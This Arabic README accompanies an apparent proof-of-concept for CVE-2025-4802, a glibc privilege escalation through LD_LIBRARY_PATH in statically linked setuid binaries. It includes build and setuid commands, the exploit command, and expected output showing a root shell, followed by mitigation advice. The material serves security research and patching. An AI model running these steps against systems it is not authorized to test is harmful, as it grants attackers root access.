CVE-2025-4802 — إثبات المفهوم

⚠️ إخلاء المسؤولية: هذا المستودع مخصص لأغراض البحث الأمني التعليمي والمصرح به فقط. لا تستخدم هذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن صريح باختبارها. قد ينتهك سوء الاستخدام القوانين واللوائح.

ملخص CVE

الوصف

تسمح ثغرة في مكتبة GNU C (glibc) بالإصدارات من 2.27 إلى 2.38 للمهاجم باستغلال متغير البيئة LD_LIBRARY_PATH في الملفات التنفيذية المُجمَّعة بشكل ثابت ذات صلاحيات setuid التي تستدعي dlopen().

عادةً، يقوم الرابط الديناميكي بتعقيم LD_LIBRARY_PATH لبرامج setuid. ومع ذلك، تتجاوز الملفات التنفيذية المُجمَّعة بشكل ثابت الرابط الديناميكي بالكامل، لذا لا يتم مسح LD_LIBRARY_PATH أبدًا. عندما يستدعي مثل هذا الملف التنفيذي dlopen() (مباشرةً، أو بشكل غير مباشر عبر setlocale() أو دوال NSS مثل getaddrinfo())، تقوم glibc بحل المكتبات المشتركة باستخدام LD_LIBRARY_PATH الذي يتحكم فيه المهاجم، مما يتيح تنفيذ تعليمات برمجية عشوائية بصلاحيات مرتفعة.

كيف تعمل

1. يستدعي ملف تنفيذي مُجمَّع بشكل ثابت بصلاحيات setuid-root الدالة dlopen("myso.so", ...) لتحميل كائن مشترك بالاسم (وليس بمسار مطلق).
2. نظرًا لأن الملف التنفيذي مرتبط بشكل ثابت، فإن الرابط الديناميكي (ld-linux.so) لا يعمل أبدًا، لذا لا يتم تعقيم LD_LIBRARY_PATH.
3. ينشئ المهاجم كائنًا مشتركًا خبيثًا (myso.so) يُصدِّر نفس الرمز hello() لكنه يُشغِّل صدفة بصلاحيات root.
4. يضبط المهاجم LD_LIBRARY_PATH للإشارة إلى الدليل الذي يحتوي على المكتبة الخبيثة.
5. عند تشغيل الملف التنفيذي ذي صلاحيات setuid، يقوم بتحميل مكتبة المهاجم بدلاً من المكتبة الشرعية، مما ينفذ تعليمات برمجية عشوائية بصلاحيات root.

هيكل المستودع

.
├── main.c                          # Vulnerable setuid binary source
├── myso.c                          # Legitimate shared object (safe)
├── evil_library/
│   └── evilso.c                    # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4      # Video walkthrough
├── Makefile                        # Build automation
└── README.md

المتطلبات الأساسية

• نظام التشغيل: Fedora 39 (أو أي توزيعة Linux بها glibc عرضة للثغرة)
• إصدار glibc: 2.27 – 2.38 (تحقق باستخدام ldd --version)
• الحزم: gcc، make
• صلاحيات root لضبط بت setuid

خطوات إعادة الإنتاج

1. بناء كل شيء

make all

أو يدويًا:

# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c

# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl

# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. ضبط بت setuid (يتطلب root)

sudo chown root:root main
sudo chmod u+s main

3. التشغيل بشكل طبيعي (سلوك آمن)

./main

المخرجات المتوقعة:

 BEGINNING OF MAIN
Hello from the safe shared object!

 END OF MAIN

4. الاستغلال باستخدام LD_LIBRARY_PATH (سلوك خبيث)

LD_LIBRARY_PATH=./evil_library ./main

المخرجات المتوقعة:

 BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

يقوم الملف التنفيذي بتحميل myso.so الخاص بالمهاجم من evil_library/ بدلاً من المكتبة الشرعية، مما يُشغِّل صدفة بصلاحيات root.

إثبات المفهوم

يتوفر أيضًا شرح بالفيديو: proof_of_concept_video.mp4

التخفيف

• ترقية glibc إلى إصدار مُرقَّع (> 2.38)
• تجنب الربط الثابت للملفات التنفيذية ذات صلاحيات setuid التي تستخدم dlopen()
• استخدم مسارات مطلقة في استدعاءات dlopen() بدلاً من أسماء المكتبات المجردة
• إسقاط الصلاحيات قبل استدعاء dlopen()
• استخدم أعلام تقوية المترجم/الرابط وتجنب setuid حيثما أمكن

الموارد

• NVD — CVE-2025-4802